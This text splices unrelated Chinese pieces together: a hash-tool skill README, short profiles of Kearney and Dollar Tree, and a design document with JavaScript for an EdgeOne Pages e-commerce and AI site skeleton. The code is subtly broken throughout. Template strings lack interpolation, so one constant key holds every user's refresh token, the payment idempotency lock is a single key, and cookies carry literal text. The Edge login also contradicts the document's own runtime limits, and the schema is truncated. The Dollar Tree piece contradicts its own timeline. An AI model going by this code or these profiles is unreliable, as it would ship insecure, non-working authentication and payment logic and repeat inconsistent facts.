6. 提交等待 3-7 个工作日审核

# Hash生成器

多功能Hash工具，支持哈希生成、Base64编解码、UUID生成、HMAC签名。纯Python标准库实现，无需API Key。

## 功能

- **哈希生成**：MD5、SHA-1、SHA-256、SHA-512、BLAKE2b
- **Base64**：编码和解码
- **UUID**：随机UUID生成
- **HMAC签名**：密钥+消息签名
- 纯标准库（hashlib + uuid + base64），零依赖

## 使用示例

```
计算"Hello World"的SHA256
生成一个UUID
Base64编码"你好"
HMAC签名 消息"test" 密钥"key"
```

## 技术实现

调用 `scripts/cn_hash_generator.py`，支持参数：
- `--algo`：算法选择（md5/sha1/sha256/sha512/blake2）
- `--encode64`：Base64编码
- `--decode`：Base64解码
- `--uuid`：生成UUID
- `--hmac KEY`：HMAC签名
- `--upper`：输出大写
- `--count N`：UUID生成数量

## 注意事项

- Hash是单向的，不可逆
- MD5和SHA-1不建议用于安全场景
- 密码存储建议使用bcrypt而非简单Hash

# Kearney：从McKinsey独立出来的"落地派"

**一句话概括**：全球顶级管理咨询公司，前身为McKinsey分支A.T. Kearney，在运营咨询和供应链优化领域享有盛誉，年收入超20亿美元。

---

### 从McKinsey到独立门户

1926年，Andrew Thomas Kearney离开McKinsey（当时还叫McKinsey & Company），在芝加哥创立了自己的咨询公司。这在当时相当于今天某个MBB合伙人出走创业。

但与大多数"出走者"不同，Kearney没有走传统战略咨询的老路，而是选择了一条差异化赛道：**不只告诉客户"应该做什么"，更要帮客户"怎么做出来"**。

这个定位至今定义了Kearney——在运营咨询和供应链优化领域，它是全球公认的领导者。

---

### 关键转折

- **1939**：正式从McKinsey独立运营
- **1960s**：成为McKinsey最大的竞争对手之一
- **2010s**：被KKR收购私有化——咨询行业罕见的PE收购案例
- **2023**：被H.I.G. Capital以约30亿美元收购

---

### 与其他咨询公司的区别

| 维度 | MBB (战略) | Kearney (运营) |
|---|---|---|
| 交付物 | 战略报告和PPT | 可执行的运营方案 |
| 核心能力 | 顶层战略设计 | 供应链、采购、落地执行 |
| 客户类型 | CEO/董事会 | COO/供应链负责人 |

Kearney的年度Global Retail Development Index被全球零售商视为进入新兴市场的权威指南。

---

### 关键数据

年收入约20-22亿美元，全球约4,000名员工，40+个国家设有办公室，合伙人约350人。2023年被H.I.G. Capital以约30亿美元收购。

# Dollar Tree：25年不涨价的执念与妥协

1986年，当Dollar Tree在弗吉尼亚确立"一切$1"的策略时，几乎没人相信这种商业模式能活过经济周期。但它不仅活了，还活了近40年——直到2021年的通胀才迫使它把价格调到$1.25。这可能是美国零售业历史上最持久的价格承诺。

**从Ben Franklin到折扣巨头**

创始人K.R. Perry最初经营的是一家普通的Ben Franklin variety store。1986年改名Dollar Tree后，事情发生了变化——90年代公司开始以统一的$1定价快速扩张，1995年登陆纳斯达克。最激进的举动出现在2015年：用$85亿吞下竞争对手Family Dollar，门店数量一夜翻倍。但这场并购被广泛认为是"消化不良"的教科书——两家公司的供应链、客群、品牌定位差异巨大，整合远比预期痛苦。

**双品牌的矛盾现实**

今天的Dollar Tree管理着约16,000家门店，但实际上是两个完全不同的生意：一面是郊区小城镇的$1.25统一价天堂，另一面是城市低收入社区的Family Dollar折扣店。2023年，公司决定关闭约1,000家表现不佳的Family Dollar门店——这等于承认那场$85亿的并购有一半是失败的。

**数字背后的故事**

年营收超过$300亿，平均毛利率约30%。在$1.25的定价天花板下，每一分成本都要被挤压——从供应商谈判到物流配送，没有任何浪费的空间。这正是Dollar Tree的核心竞争力：极致成本控制能力。

消费降级趋势下，这个曾被视为"低端"的商业模式反而展现出惊人的韧性。

name: 建站骨架 (EdgeOne Pages)
description: 一句话说需求，AI 生成完整前后端网站并自动部署到 EdgeOne Pages。支持电商栈（Auth/购物车/支付）、AI 栈（SSE 流式对话）、管理后台。触发词：帮我建网站、建一个电商网站、做 AI 客服站、建管理后台、EdgeOne Pages 建站

# 建站 Skill — EdgeOne Pages 全栈网站骨架

> **版本：** 2.2 · **日期：** 2026-04-26 · **Phase 3 实现完成**
> **一句话描述：** 用户说一句话，AI 生成完整前后端网站，自动部署到 EdgeOne Pages。

---

## 一、核心设计理念

```
一次设计，无限复用 = 5 个模块 × 3 个场景 × 1 个部署平台
```

将"建站"拆解为 **Layer 0 基础设施** + **Layer 1 能力栈** + **Layer 2 可选增强**：

| 层级 | 内容 | 性质 |
|------|------|------|
| **Layer 0**（Core） | SPA 骨架 + Auth + Middleware + EventBus | 必选，不可裁剪 |
| **Layer 1**（Stack） | 🛒 电商栈 · 🤖 AI 栈 · 📊 管理栈 | 按需组合，互不依赖 |
| **Layer 2**（Addon） | SEO · Analytics · i18n | 可选增强 |

**场景模板优先**：用户选"电商"、"AI 助手"或"管理后台"场景，不选模块——模块由模板自动组合。

---

### 2.2 运行时职责边界

| 运行时 | 存储 | 职责 | 说明 |
|--------|------|------|------|
| **Edge Functions**（V8） | KV | Auth 登录/me、Products 公开读、Cart、Orders 读、AI History 读、幂等锁 | 延迟敏感、无密钥 |
| **Cloud Functions**（Node） | MySQL | Auth 注册/bcrypt、Payment 创建/回调、Admin CRUD、Orders 创建/取消、AI SSE 流 | 密钥操作、复杂事务 |

> ⚠️ **平台约束（EdgeOne Pages）：**
> - KV 仅 Edge Functions 可用，Cloud Functions 无法访问
> - Cloud Functions 目录名必须为 `cloud-functions/`
> - bcrypt 必须在 Cloud Functions 中执行

## 三、Auth 模块（Layer 0，Core）

### API 路由

| 方法 | 路径 | 运行时 | 说明 |
|------|------|--------|------|
| POST | `/api/auth/login` | Edge（KV） | JWT 签发 + KV session |
| GET | `/api/auth/me` | Edge（KV） | KV session 读取 |
| POST | `/api/auth/refresh` | Edge（KV） | RT 轮换（version 乐观锁） |
| POST | `/api/auth/logout` | Edge（KV） | 清除 Cookie + KV session |
| POST | `/api/auth/register` | Cloud（MySQL） | bcrypt cost=12 + MySQL |

### JWT 安全设计

```
Access Token：短期 JWT（15min）+ HttpOnly Cookie（Secure + SameSite=Strict）
Refresh Token：7天 TTL，存 KV rt:{userId}:meta（含 version）
算法：Phase 1 用 HS256 + 短期 TTL，Phase 2 迁移 RS256
```

### 【v2.1 Critical 修复】RT 并发安全

两个请求并发携带同一 RT，只有第一个能成功写入新 version，第二个收到 409 → 客户端稍等重试。

```javascript
// edge-functions/api/auth/refresh.js
export async function onRequest(context) {
  const { RT } = await getTokens(context.request);
  const { KV } = context.env;
  const payload = parseJWT(RT);
  const userId = payload.sub;
  if (!userId) return new Response('Invalid', { status: 401 });

  const current = await KV.get(`rt:userId:meta`);
  const { version: oldVersion, token: oldToken } = JSON.parse(current || '{"version":0,"token":""}');

  if (oldToken !== RT) {
    return new Response('Token already rotated', { status: 409 });
  }

  const newVersion = oldVersion + 1;
  const newToken = signRT(userId, newVersion);

  const ok = await KV.put(
    `rt:userId:meta`,
    JSON.stringify({ version: newVersion, token: newToken }),
    { expirationTtl: 604800 }
  );

  if (!ok) return new Response('Concurrent rotation', { status: 409 });

  return new Response(JSON.stringify({ refreshToken: newToken }), {
    headers: { 'Content-Type': 'application/json' }
  });
}
```

---

## 四、Cart 模块（Layer 1，电商栈）

**双模式同步：**
```
未登录：localStorage（30d TTL 自动清理）
登录时：localStorage → 服务端 KV（syncOnLogin()）
已登录：服务端 KV（唯一数据源）
```

---

## 五、Payment 模块（Layer 1，电商栈）

### 独立回调路径

```
/api/pay/wx-notify   ← 微信支付回调（IP 白名单后直接 return，不进 Edge Middleware）
/api/pay/ali-notify  ← 支付宝回调（独立路径）
```

### 【v2.1 Critical 修复】支付幂等原子锁

微信支付平台会在回调超时后重试（最长 72h），KV 查→判→写三步非原子。解决方案：Edge Function `putIfNotExists` 原子幂等锁。

```javascript
// ===== Edge Function（唯一可访问 KV 的路径）=====
// edge-functions/api/internal/idempotency.js
export async function onRequest(context) {
  const { KV } = context.env;
  const { out_trade_no, callback_id } = await context.request.json();

  const acquired = await KV.putIfNotExists(
    `pay:idempotency:out_trade_no`,
    callback_id,
    { expirationTtl: 86400 }   // 24h < 微信重试窗口 72h
  );

  return new Response(JSON.stringify({ acquired }), { status: 200 });
}

// ===== Cloud Function（微信回调处理）=====
// cloud-functions/api/pay/wx-notify.js
export async function onRequest(request, env) {
  const rawBody = await request.text();
  if (!await verifyWechatSignature(rawBody, env.WX_MCH_SECRET))
    return new Response('FAIL', { status: 401 });

  const { out_trade_no, transaction_id, trade_state } = JSON.parse(rawBody);

  const { acquired } = await fetch(`env.EDGE_BASE/api/internal/idempotency`, {
    method: 'POST',
    body: JSON.stringify({ out_trade_no, callback_id: transaction_id })
  }).then(r => r.json());

  if (!acquired) return new Response('SUCCESS');  // 幂等跳过，但返回 SUCCESS 止重试

  if (trade_state === 'SUCCESS') await processPayment(out_trade_no, transaction_id, env);
  return new Response('SUCCESS');
}
```

---

## 六、Order 创建原子性（v2.1 Critical 修复）

高并发下，`UPDATE ... WHERE stock >= ?` 可能同时通过检查导致超卖。解决方案：`SELECT FOR UPDATE` + 乐观锁 + MySQL CHECK 约束。

```javascript
// cloud-functions/api/order/create.js
export async function onRequest(request, env) {
  const { userId } = await auth(request, env);
  const { productId, quantity } = await request.json();
  const pool = await getPool(env.DATABASE_URL);

  let attempt = 0;
  while (attempt < 3) {
    attempt++;
    try {
      await pool.beginTransaction();

      // ① SELECT FOR UPDATE：锁定商品行（持有行锁期间其他事务阻塞）
      const [rows] = await pool.query(
        'SELECT id, stock, price, version FROM products WHERE id = ? FOR UPDATE',
        [productId]
      );
      if (!rows.length) { await pool.rollback(); return 404; }
      const product = rows[0];

      // ② 持有行锁期间校验库存（无竞态）
      if (product.stock < quantity) {
        await pool.rollback();
        return { error: '库存不足', available: product.stock };
      }

      // ③ 乐观锁更新（双重保障）
      const [updateResult] = await pool.query(
        'UPDATE products SET stock = stock - ?, version = version + 1 WHERE id = ? AND version = ?',
        [quantity, productId, product.version]
      );
      if (updateResult.affectedRows === 0) {
        await pool.rollback();
        return { error: '并发冲突，请重试' };
      }

      // ④ 创建订单（同一事务内）
      const orderNo = generateOrderNo();
      await pool.query(
        `INSERT INTO orders (order_no, out_trade_no, user_id, product_id, qty, amount, status, created_at)
         VALUES (?, ?, ?, ?, ?, ?, 'PENDING', NOW())`,
        [orderNo, `WX_orderNo`, userId, productId, quantity, product.price * quantity]
      );

      await pool.commit();

      // ⑤ 事务成功后，异步调用微信统一下单（不在事务内）
      const payment = await createPayment(orderNo, product.price * quantity, env);
      return { orderNo, payment };

    } catch (err) {
      await pool.rollback();
      if (isRetryable(err) && attempt < 3) {
        await sleep(100 * Math.pow(2, attempt - 1));  // 指数退避
        continue;
      }
      return { error: '创建失败，请重试' };
    }
  }
}

function isRetryable(err) {
  return err.code === 'ER_LOCK_DEADLOCK' || err.code === 'ER_LOCK_WAIT_TIMEOUT';
}
```

---

## 七、KV 分层查询策略

EdgeOne Pages KV **不支持复合查询**，按以下策略分层：

| 场景 | KV 层（Edge） | MySQL 层（Cloud） |
|------|-------------|-----------------|
| 单商品读取 | ✅ KV 缓存 | — |
| 商品列表（无筛选） | ✅ 缓存第1页 | — |
| 分类+价格区间筛选 | — | ✅ Cloud MySQL |
| 搜索关键词 | — | ✅ Cloud MySQL FULLTEXT |
| AI 会话历史（单用户） | ✅ KV | — |
| 订单统计（多条件聚合） | — | ✅ Cloud MySQL |

---

## 八、AI Chat 模块（Layer 1，AI 栈）

**Cloud Functions SSE 实现（Edge 无法使用 waitUntil）：**

```
前端 → GET /api/ai/history（Edge，KV 读取）→ 拿到历史上下文
    → SSE 连接 /api/ai/chat-stream（Cloud）→ 带历史 context
    → Cloud 流式响应 + 异步写 KV 保存历史
```

---

## 九、Admin 模块（Layer 1，管理栈）

**RBAC 权限体系：**
```
role: user   → 购物车、下单、查看自己的订单
role: admin  → 商品 CRUD、订单管理、用户管理、运营统计
```

---

## 十、数据库 Schema

```sql
-- db/migrations/001_init.sql

CREATE TABLE users (
  id            BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
  email         VARCHAR(255) UNIQUE NOT NULL,

);

CREATE TABLE admin_logs (

  admin_id    BIGINT UNSIGNED NOT NULL,
  action      VARCHAR(64) NOT NULL,
  target      VARCHAR(128),
  created_at  DATETIME DEFAULT CURRENT_TIMESTAMP
);

CREATE INDEX idx_products_category ON products(category_id);
CREATE INDEX idx_products_status ON products(status);
CREATE INDEX idx_orders_user ON orders(user_id);
CREATE INDEX idx_orders_status ON orders(status);
CREATE INDEX idx_orders_created ON orders(created_at);
```

## 十一、环境变量矩阵

| 环境变量 | 必填 | 用于 | 运行时 |
|---------|------|------|--------|
| `JWT_SECRET` | ✅ | JWT 签名（HS256） | Edge + Cloud |
| `AI_API_KEY` | ✅（AI栈） | AI 模型调用 | Cloud |
| `WX_APPID` | ✅（电商栈） | 微信支付 AppID | Cloud |
| `WX_MCHID` | ✅（电商栈） | 微信支付商户号 | Cloud |
| `WX_API_KEY` | ✅（电商栈） | 微信支付 APIv3 密钥 | Cloud |
| `WX_CERT_PATH` | ✅（电商栈） | 微信支付证书路径 | Cloud |
| `ALI_APP_ID` | ✅（电商栈） | 支付宝 AppID | Cloud |
| `ALI_PRIVATE_KEY` | ✅（电商栈） | 支付宝私钥 | Cloud |
| `DATABASE_URL` | ✅（电商+管理） | MySQL 连接字符串 | Cloud |
| `EDGE_BASE` | ✅（电商栈） | Edge Function 内部网关地址 | Cloud |

## 十五、Phase 2 详细设计（P1/P2 实现指南）

---

### 15.1 【P1】JWT Access Token 短期化 + RT 轮换（已实现源码）

以下为 Edge Functions 完整实现，Phase 1 已集成：

**JWT 签发（login.js）** — Access Token 15min + Refresh Token 7d：

```javascript
// edge-functions/api/auth/login.js
export async function onRequest(context) {
  const { email, password } = await context.request.json();
  const pool = await getCloudPool(context.env.DATABASE_URL);
  const [rows] = await pool.query('SELECT * FROM users WHERE email = ?', [email]);
  if (!rows.length) return new Response('Unauthorized', { status: 401 });

  const user = rows[0];
  const ok = await bcrypt.compare(password, user.password_hash);
  if (!ok) return new Response('Unauthorized', { status: 401 });

  const now = Math.floor(Date.now() / 1000);
  // Access Token：15min
  const accessToken = signJWT({ sub: user.id, role: user.role, type: 'access' }, 900);
  // Refresh Token：7d，含 version 用于乐观锁
  const rtVersion = 1;
  const refreshToken = signRT(user.id, rtVersion);

  // KV 存 RT meta（用于轮换校验）
  await context.env.KV.put(
    `rt:user.id:meta`,
    JSON.stringify({ version: rtVersion, token: refreshToken }),
    { expirationTtl: 604800 }
  );

  return new Response(null, {
    status: 302,
    headers: {
      'Location': '/',
      'Set-Cookie': [
        `at=accessToken; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900`,
        `rt=refreshToken; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800`
      ].join(', ')
    }
  });
}
```

**RT 轮换（refresh.js）** — 并发安全，version 乐观锁：

```javascript
// edge-functions/api/auth/refresh.js
export async function onRequest(context) {
  const { KV } = context.env;
  const cookieHeader = context.request.headers.get('Cookie') || '';
  const rtMatch = cookieHeader.match(/rt=([^;]+)/);
  if (!rtMatch) return new Response('No RT', { status: 401 });

  const oldToken = rtMatch[1];
  const payload = parseJWT(oldToken);
  const userId = payload.sub;

  // KV version 乐观锁：只有 RT 匹配当前 version 才允许写入新 version
  const current = await KV.get(`rt:userId:meta`);
  const { version: oldVersion, token: oldStored } = JSON.parse(current || '{"version":0,"token":""}');

  if (oldStored !== oldToken) {
    // 另一个 tab 已轮换，当前 RT 失效 → 返回 409 让客户端重新登录
    return new Response('Concurrent rotation', { status: 409 });
  }

  const newVersion = oldVersion + 1;
  const newToken = signRT(userId, newVersion);

  const ok = await KV.put(
    `rt:userId:meta`,
    JSON.stringify({ version: newVersion, token: newToken }),
    { expirationTtl: 604800 }
  );
  if (!ok) return new Response('Rotation failed', { status: 409 });

  return new Response(JSON.stringify({ refreshToken: newToken }), {
    headers: {
      'Content-Type': 'application/json',
      'Set-Cookie': `rt=newToken; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800`
    }
  });
}
```

**客户端轮换触发逻辑（event-bus.js 集成）**：

```javascript
// client/src/utils/event-bus.js
EventBus.on('auth:401', async () => {
  // Access Token 过期 → 尝试轮换 RT
  const res = await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include' });
  if (res.ok) {
    // RT 轮换成功 → 重发原请求
    return retryOriginalRequest();
  }
  // RT 也失败 → 跳转登录
  window.location.href = '/login?redirect=' + encodeURIComponent(window.location.pathname);
});
```

### 15.2 【P1】Cookie 安全属性

所有认证 Cookie 必须同时满足以下属性（缺一不可）：

| 属性 | 值 | 作用 |
|------|-----|------|
| `HttpOnly` | 必须 | 阻止 JS 读取，防止 XSS 窃取 |
| `Secure` | 必须 | 仅 HTTPS 传输 |
| `SameSite=Strict` | 强烈建议 | 防止 CSRF（同站请求才带 Cookie） |
| `SameSite=Lax` | 备选 | 允许导航带 Cookie，但阻止跨站 POST |
| `Path=/` | AT Cookie | 全路径生效 |
| `Path=/api/auth/refresh` | RT Cookie | 仅刷新接口可读 |

**Edge Functions 签发示例**：

```javascript
// 正确
headers.set('Set-Cookie',
  `at=token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900`
);

// 常见错误：缺少 Secure 或 SameSite
// ❌ `at=token; HttpOnly` — 可被 HTTP 拦截
// ❌ `at=token; HttpOnly; SameSite=None` — 无 CSRF 保护
```

**注意**：`SameSite=Strict` 会导致从外部链接跳转过来时无法携带 Cookie。如有第三方回调场景，改用 `SameSite=Lax` + CSRF Token 双保险。

### 15.3 【P1】AI 聊天限流（KV 滑动窗口）

**限流策略**：

| 用户状态 | 限额 | 窗口 |
|---------|------|------|
| 未登录（IP 级别） | 10 次/分钟 | 滑动窗口 |
| 已登录（User ID 级别） | 60 次/分钟 | 滑动窗口 |

**Edge Function 实现**：

```javascript
// edge-functions/_middleware.js 或独立限流工具
// edge-functions/utils/rate-limit.js

export async function checkRateLimit(context, key, limit) {
  const { KV } = context.env;
  const now = Date.now();
  const windowMs = 60 * 1000; // 1 分钟滑动窗口
  const windowKey = `rl:key:Math.floor(now / windowMs)`;
  const prevKey = `rl:key:Math.floor((now - windowMs) / windowMs)`;

  const current = parseInt(await KV.get(windowKey) || '0');
  const prev = parseInt(await KV.get(prevKey) || '0');

  // 滑动窗口：当前窗口占比 + 上一窗口剩余权重
  const prevWeight = (now % windowMs) / windowMs;
  const totalWeight = current + prev * prevWeight;

  if (totalWeight >= limit) {
    return { allowed: false, remaining: 0, resetMs: windowMs - (now % windowMs) };
  }

  // 写入当前计数
  await KV.put(windowKey, String(current + 1), { expirationTtl: 120 });
  return { allowed: true, remaining: limit - Math.ceil(totalWeight) - 1, resetMs: windowMs };
}

// 在 AI Chat Edge Middleware 中调用：
// const userId = payload?.sub || request.headers.get('CF-Connecting-IP');
// const { allowed, resetMs } = await checkRateLimit(context, `ai:userId`, 60);
// if (!allowed) return new Response('Rate limited', { status: 429, headers: { 'Retry-After': String(Math.ceil(resetMs/1000)) } });
```

### 15.4 【P1】CSP Header（Platform Middleware 注入）

CSP 在 Platform Middleware 层注入，对所有 HTML 响应生效：

```javascript
// middleware.js（项目根目录，Platform Middleware）
export function onRequest(context) {
  const response = context.next();

  // 仅对 HTML 响应注入 CSP
  const contentType = response.headers.get('Content-Type') || '';
  if (!contentType.includes('text/html')) return response;

  const CSP = [
    "default-src 'self'",
    "script-src 'self' 'unsafe-inline'",       // Skill 生成代码含内联脚本，放行
    "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
    "font-src 'self' https://fonts.gstatic.com",
    "img-src 'self' data: https:",
    "connect-src 'self' https://api.edgeone.dev https://api.weixin.qq.com https://openapi.alipay.com",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'"
  ].join('; ');

  const newHeaders = new Headers(response.headers);
  newHeaders.set('Content-Security-Policy', CSP);
  newHeaders.set('X-Content-Type-Options', 'nosniff');
  newHeaders.set('X-Frame-Options', 'DENY');
  newHeaders.set('Referrer-Policy', 'strict-origin-when-cross-origin');

  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: newHeaders
  });
}
```

**配置说明**：
- `connect-src` 中的域名需根据实际 AI API 和支付平台调整
- `'unsafe-inline'` 用于 Skill 生成的内联脚本（Phase 1 MVP 可接受）
- Phase 3 可升级为 nonce 模式消除 `unsafe-inline`

### 15.5 【P1】EventBus 401 自动跳转

前端 EventBus 统一处理认证失效事件：

```javascript
// client/src/utils/event-bus.js
class EventBus {
  constructor() {
    this.listeners = {};
    // 全局监听 fetch 401 响应
    this._setupGlobal401Handler();
  }

  _setupGlobal401Handler() {
    const originalFetch = window.fetch;
    window.fetch = async (...args) => {
      try {
        const res = await originalFetch(...args);
        if (res.status === 401) {
          this.emit('auth:401', { url: args[0], response: res });
        }
        return res;
      } catch (err) {
        throw err;
      }
    };
  }

  on(event, handler) {
    (this.listeners[event] ||= []).push(handler);
    return () => this.listeners[event] = this.listeners[event].filter(h => h !== handler);
  }

  emit(event, data) {
    (this.listeners[event] || []).forEach(h => h(data));
  }
}

export const eventBus = new EventBus();

// 应用启动时注册 401 跳转
eventBus.on('auth:401', ({ url }) => {
  // 排除登录页自身，避免死循环
  if (url.includes('/api/auth/login') || url.includes('/api/auth/register')) return;
  // 跳过 refresh 接口（它有自己的 401 处理）
  if (url.includes('/api/auth/refresh')) return;
  // 记录原页面路径，登录后回跳
  const redirect = encodeURIComponent(window.location.pathname + window.location.search);
  window.location.href = `/login?redirect=redirect`;
});
```

### 15.6 【P1】Notification 钩子详细设计

Notification 作为 Layer 2 Addon，按需接入。支持多通道：邮件、微信模板消息、钉钉 Webhook。

**接口设计（空壳 → Phase 2 填充适配器）**：

```javascript
// cloud-functions/utils/notification-hooks.js

// 通知事件类型
export const NotificationEvent = {
  ORDER_CREATED:    'order.created',
  ORDER_PAID:       'order.paid',
  ORDER_SHIPPED:    'order.shipped',
  ORDER_DELIVERED:  'order.delivered',
  USER_REGISTERED: 'user.registered',
  PASSWORD_CHANGED: 'password.changed',
};

// 通知渠道
export const NotificationChannel = {
  EMAIL:    'email',
  WECHAT:   'wechat',   // 微信模板消息
  DINGTALK: 'dingtalk', // 钉钉 Webhook
  SMS:      'sms',
};

// 钩子注册表（Phase 2 填充）
const handlers = {
  [NotificationEvent.ORDER_PAID]: [],
  [NotificationEvent.USER_REGISTERED]: [],
};

export function registerHandler(event, handler) {
  handlers[event] ||= [];
  handlers[event].push(handler);
}

export async function emit(event, payload) {
  const eventHandlers = handlers[event] || [];
  await Promise.allSettled(
    eventHandlers.map(h => h(payload).catch(err => console.error(`Notification handler error: err`)))
  );
}

// ===== 具体适配器示例（Phase 2 实现）=====

// 邮件适配器
registerHandler(NotificationEvent.ORDER_PAID, async ({ order, user }) => {
  // 需配置 SMTP 环境变量
  if (!process.env.SMTP_HOST) return; // 无邮件配置则跳过
  await sendEmail({
    to: user.email,
    subject: `订单 order.order_no 支付成功`,
    html: `<h2>感谢您的购买！</h2><p>订单号：order.order_no</p>`
  });
});

// 微信模板消息适配器
registerHandler(NotificationEvent.ORDER_SHIPPED, async ({ order, user }) => {
  if (!process.env.WX_TEMPLATE_ID_SHIP) return;
  await sendWechatTemplate(user.openid, process.env.WX_TEMPLATE_ID_SHIP, {
    keyword1: order.order_no,
    keyword2: order.express_company + ' ' + order.express_no,
  });
});

// 调用示例（Cloud Functions 中）
import { emit, NotificationEvent } from './utils/notification-hooks.js';

export async function onRequest(request, env) {
  // 支付回调成功后触发
  await emit(NotificationEvent.ORDER_PAID, { order, user });
  return new Response('SUCCESS');
}
```

**env-vars.md 补充字段**：

```
NOTIFICATION_SMTP_HOST     # 邮件 SMTP 主机
NOTIFICATION_SMTP_PORT     # 邮件 SMTP 端口（默认 587）
NOTIFICATION_SMTP_USER     # 邮件发件人
NOTIFICATION_SMTP_PASS     # 邮件密码
NOTIFICATION_FROM_EMAIL    # 发件人地址
WX_TEMPLATE_ID_ORDER       # 微信订单通知模板 ID
WX_TEMPLATE_ID_SHIP        # 微信发货通知模板 ID
DINGTALK_WEBHOOK_URL       # 钉钉群 Webhook URL
```

### 15.7 【P2】RS256 迁移方案

Phase 1 使用 HS256（密钥共享，简单快速）；Phase 2 迁移到 RS256（公私钥，安全性更高）。

**迁移策略：双轨并行，渐进式切换**

```
Phase 1（当前）：HS256
  - JWT_SECRET = 对称密钥（Edge + Cloud 共享）

Phase 2 迁移：
  - 新增 JWT_PRIVATE_KEY（Cloud 签名用 RSA 私钥）
  - 新增 JWT_PUBLIC_KEY（Edge 验证用 RSA 公钥）
  - Edge Functions 验证用公钥（无需密钥）
  - Cloud Functions 签名用私钥
  - HS256 保留 30 天兼容窗口（老 token 仍可验证）
```

**生成密钥对**：

```bash
# 生成 RSA-256 密钥对
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# 将公钥 public.pem 内容填入 EdgeOne Pages 环境变量 JWT_PUBLIC_KEY
# 将私钥 private.pem 内容填入 Cloud Functions 环境变量 JWT_PRIVATE_KEY（严格保密）
```

**Cloud Functions 签名切换**：

```javascript
// cloud-functions/utils/jwt-helper.js
import { SignJWT, jwtVerify } from 'jose';

const getSignKey = (env) => {
  if (env.JWT_PRIVATE_KEY) {
    return createPrivateKey(env.JWT_PRIVATE_KEY); // RS256
  }
  return new TextEncoder().encode(env.JWT_SECRET); // 兼容 HS256
};

export async function signJWT(payload, expiresIn, env) {
  const key = getSignKey(env);
  return new SignJWT(payload)
    .setProtectedHeader({ alg: env.JWT_PRIVATE_KEY ? 'RS256' : 'HS256' })
    .setIssuedAt()
    .setExpirationTime(`expiresIns`)
    .sign(key);
}
```

**Edge Functions 验证（始终用公钥）**：

```javascript
// edge-functions/utils/jwt-helper.js
export async function verifyJWT(token, env) {
  const publicKey = createPublicKey(env.JWT_PUBLIC_KEY); // RS256 验证
  try {
    const { payload } = await jwtVerify(token, publicKey);
    return payload;
  } catch {
    // 30 天兼容窗口：尝试 HS256 验证（仅过渡期）
    const secret = new TextEncoder().encode(env.JWT_SECRET);
    try {
      const { payload } = await jwtVerify(token, secret);
      return { ...payload, _hs256Fallback: true }; // 标记老 token
    } catch {
      return null;
    }
  }
}
```

### 15.8 【P2】订单状态机详细设计

**状态定义与流转**：

```
┌──────────┐  pay    ┌───────┐  ship   ┌──────────┐  confirm ┌───────────┐
│ PENDING  │ ──────→ │ PAID  │ ─────→ │ SHIPPED  │ ──────→ │ COMPLETED │
└──────────┘         └───────┘         └──────────┘         └───────────┘
     │                    │                                       │
     │ cancel (user)      │ refund (user/admin)                   │
     ↓                    ↓                                       │
┌──────────┐         ┌──────────┐                                 │
│ CANCELLED│         │ REFUNDED │                                 │
└──────────┘         └──────────┘                                 │
                                                                  │
                        refund (admin, COMPLETED)                 │
                        ─────────────────────────────────────────┘
```

**合法流转规则（version 乐观锁保护）**：

| 当前状态 | 允许目标状态 | 触发方 | 条件 |
|---------|------------|--------|------|
| PENDING | PAID | 支付回调 | 金额核对成功 |
| PENDING | CANCELLED | 用户/系统超时 | 30min 未支付 |
| PAID | SHIPPED | 管理员 | 填写物流信息 |
| PAID | REFUNDED | 用户/管理员 | 退款申请 |
| SHIPPED | COMPLETED | 用户/系统 | 7天无售后自动确认 |
| SHIPPED | REFUNDED | 用户/管理员 | 退货退款 |
| COMPLETED | REFUNDED | 管理员 | 特殊退款审批 |

**状态机实现（MySQL + version 乐观锁）**：

```javascript
// cloud-functions/api/order/cancel.js
export async function onRequest(request, env) {
  const { userId, role } = await auth(request, env);
  const { orderId, reason } = await request.json();
  const pool = await getPool(env.DATABASE_URL);

  let attempt = 0;
  while (attempt < 3) {
    attempt++;
    try {
      await pool.beginTransaction();

      // ① 锁定订单行，获取当前状态和版本
      const [rows] = await pool.query(
        'SELECT * FROM orders WHERE id = ? FOR UPDATE',
        [orderId]
      );
      if (!rows.length) { await pool.rollback(); return 404; }
      const order = rows[0];

      // ② 权限校验：用户只能取消自己的 PENDING 订单
      if (role !== 'admin' && order.user_id !== userId) {
        await pool.rollback(); return 403;
      }

      // ③ 状态机校验
      const allowed = {
        'PENDING': ['CANCELLED'],
        'PAID': ['CANCELLED', 'REFUNDED'],     // 退款需管理员
        'SHIPPED': ['COMPLETED', 'REFUNDED'],  // 已发货需管理员
      };
      const target = reason === 'user_cancel' ? 'CANCELLED' : 'REFUNDED';
      if (!allowed[order.status]?.includes(target)) {
        await pool.rollback();
        return { error: `状态 order.status 不允许变更为 target` };
      }
      if (target === 'CANCELLED' && role !== 'admin' && order.status !== 'PENDING') {
        await pool.rollback();
        return { error: '仅 PENDING 状态可由用户取消' };
      }

      // ④ 乐观锁更新（防止并发修改）
      const [result] = await pool.query(
        'UPDATE orders SET status = ?, version = version + 1 WHERE id = ? AND version = ?',
        [target, orderId, order.version]
      );
      if (result.affectedRows === 0) {
        await pool.rollback(); // 版本冲突，重试
        continue;
      }

      // ⑤ 释放库存（仅取消时回补）
      if (target === 'CANCELLED') {
        await pool.query(
          'UPDATE products SET stock = stock + (SELECT qty FROM order_items WHERE order_id = ?), version = version + 1 WHERE id = (SELECT product_id FROM order_items WHERE order_id = ?)',
          [orderId, orderId]
        );
      }

      // ⑥ 记录操作日志
      await pool.query(
        'INSERT INTO admin_logs (admin_id, action, target) VALUES (?, ?, ?)',
        [userId, `order_status_change:order.status→target`, orderId]
      );

      await pool.commit();

      // ⑦ 触发通知钩子
      await emit(NotificationEvent.ORDER_CANCELLED, { order, reason });

      return { success: true, status: target };

    } catch (err) {
      await pool.rollback();
      if (err.code === 'ER_LOCK_DEADLOCK' && attempt < 3) {
        await sleep(100 * Math.pow(2, attempt));
        continue;
      }
      return { error: '操作失败，请重试' };
    }
  }
}
```

## 十六、Phase 2 验收标准

